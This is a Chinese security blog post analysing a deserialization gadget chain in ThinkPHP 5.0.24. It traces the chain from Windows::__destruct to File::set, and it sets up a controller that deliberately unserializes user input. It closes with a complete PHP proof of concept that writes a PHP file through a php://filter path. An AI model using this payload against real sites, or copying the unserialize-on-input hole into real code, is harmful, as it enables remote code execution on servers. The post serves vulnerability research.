Learning Man's Blog

Thinkphp 5.0.x 反序列化简析

字数统计: 1.2k阅读时长: 5 min
2020/02/26 Share
  • TP 5.0.24 & PHP 5.6.40

修改application/index/controller/Index.php内容

<?php
namespace app\index\controller;

highlight_file(__FILE__);

class Index
{
    public function index($input='')
    {
        echo "Welcome thinkphp 5.0.24";
        echo $input;
        unserialize($input);
    }
}

简析

__destruct

这里和5.1.37那篇文章开头有点像,只有\think\process\pipes\Windows::__destruct中多使用了一个 removeFiles 方法,跟进后,可见调用 file_exists,通过注释可见参数类型为 string,这样会调用$filename -> __toString()

-w871

利用点

可以看到 Collection、Model 是调用了其下的 toJson 方法

-w725

\think\Collection::toArray中,可以看到也是需要利用 Model 类

-w574

所以我们直接看\think\Model::toArray即可,在追加属性阶段,有三个地方可能能利用__call

  1. 需要控制传入 name 来控制 key 及 attr,同时目标 __call 能解析数组参数
  2. 需要目标类下 __call 或 getBindAttr 有良好的利用条件
  3. 需要控制传入 attr,同时目标类下 __call 有良好的利用条件

-w823

文章中利用第三个点,继续分析

如何到达利用点

想要到达利用点,需要我们梳理中间的逻辑流程

  1. $this->append不为空
  2. $name不为数组,不存在.,且为当前类中方法名
  3. 通过$this->$$name()控制$modelRelation从而控制参数$attr,可以看到getError是最合适的
    -w311
  4. 通过$this->getRelationData控制目标类$value

同时为了方便控制目标类$value,在 getRelationData 时尽量控制第一个 if 逻辑直接返回$this->parent
-w1024

Gadget

现在我们首先需要确定目标类,参数类

modelRelation

根据上面 getRelationData 中的逻辑判断,需要控制

  1. $modelRelation->isSelfRelation == false
  2. $modelRelation->getModel == 目标类

注意还需要3. $modelRelation->getBindAttr()可控

根据第一个条件,我们查询继承 Relation 的类,同时由于 Relation 实现了 getModel 方法并可控,忽略第二个条件

-w419

根据第三个条件,可以看到只有\think\model\relation\OneToOne::getBindAttr实现,其他的类既没有自身实现,同时也没有被继承实现

-w369

但由于它本身是一个接口类,我们需要利用其子类BelongsToHasOne

-w401


有人会说:可否利用 else 中的逻辑判断控制返回值?

通过搜寻,发现可以创建一个 Model 专门用于返回目标类,但是注意由于Model没有实现getBindAttr不满足条件三,且子类均也未实现此方法,所以是不可行的;而其他的类在控制返回目标类时候就很累了

-w703

目标类

现在我们能确定modelRelation后,我们现在需要做的是找到一个目标类,再确定如何进一步利用,通过搜寻__call,粗略看到疑似能利用的有RequestOutput

-w703

但实际上,在5.0.24版本中,\think\Request::__callself::$hook是无法利用的

-w727

所以能利用的只有 Output,由于传入的$mothod=='getAttr',所以这里利用 block 函数较好

-w725

而在block 函数中,可以看到最终会调用$this->handle下的 write 函数

-w669

write 利用

我们全局搜索下 write 函数的实现,同时注意到PHP 会自动忽略传输中多出来的参数

疑似可利用的类有三个,实现上都是$this->handler->set(...)

-w895

所以我们还要全局搜索下 set 函数的实现,以下两个类最终都实现了file_put_contents写文件

-w886

但是注意到\think\cache\driver\Lite::set中写入时被嵌入在 php 环境中且被引号包裹,无法实现利用

-w814
-w809

所以能利用的也只有\think\cache\driver\File::set

-w750

另外注意到,其实不是一次性调用set -> file_put_contents实现的写入,而是在$this->setTagItem中由没有缓存,导致将 filename 作为新的内容进行二次写入

-w560

POP Chain

直接上人家的图,文章链接在参考资料中

POC

文件名生成规则

$this->tag = 'sari3l'
print('<?cuc cucvasb();?>' . md5('tag_' . md5($this->tag)));

POC

<?php
namespace think\cache\driver;
class File{
    protected $options = [
        'expire' => 3600,
        'cache_subdir' => false,
        'prefix' => '',
//        'path' => './sari3l/',
        'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',
        'data_compress' => false,
    ];
    protected $tag='sari3l';
}

namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
    protected $handler;

    function __construct()
    {
        $this->handler = new File();
    }
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle;
    protected $styles;

    function __construct()
    {
        $this->handle = new Memcached();
        $this->styles = ['getAttr'];
    }
}

namespace think\db;
use think\console\Output;

class Query {
    protected $model;

    public function __construct()
    {
        $this->model = new Output();
    }
}

namespace think\model\relation;
use think\db\Query;

class HasOne {
    protected $query;
    protected $bindAttr = [];

    public function __construct()
    {
        $this->query = new Query();
        $this->bindAttr = ["sari3l" => "test"];
    }
}

namespace think;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model {
    protected $append = [];
    protected $data = [];
    protected $error;
    public $parent;

    public function __construct()
    {
        $this->append = ["sari3l" => "getError"];
        $this->error = new HasOne();
        $this->parent = new Output();
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model {}

namespace think\process\pipes;
use think\model\Pivot;
class Windows {
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}

echo urlencode(serialize(new Windows()));

注意

parent 修饰词

不同 TP 版本中,对于$parent修饰词不同,所以初始化覆盖时需要注意以子类为主

-w1041

filename

既然要出现<当然是只能 Linux 环境了

参考资料

  1. ThinkPHP v5.0.x 反序列化利用链挖掘
CATALOG
  1. 简析
    1. __destruct
    2. 利用点
    3. 如何到达利用点
    4. Gadget
      1. modelRelation
      2. 目标类
      3. write 利用
  2. POP Chain
  3. POC
  4. 注意
    1. parent 修饰词
    2. filename
  5. 参考资料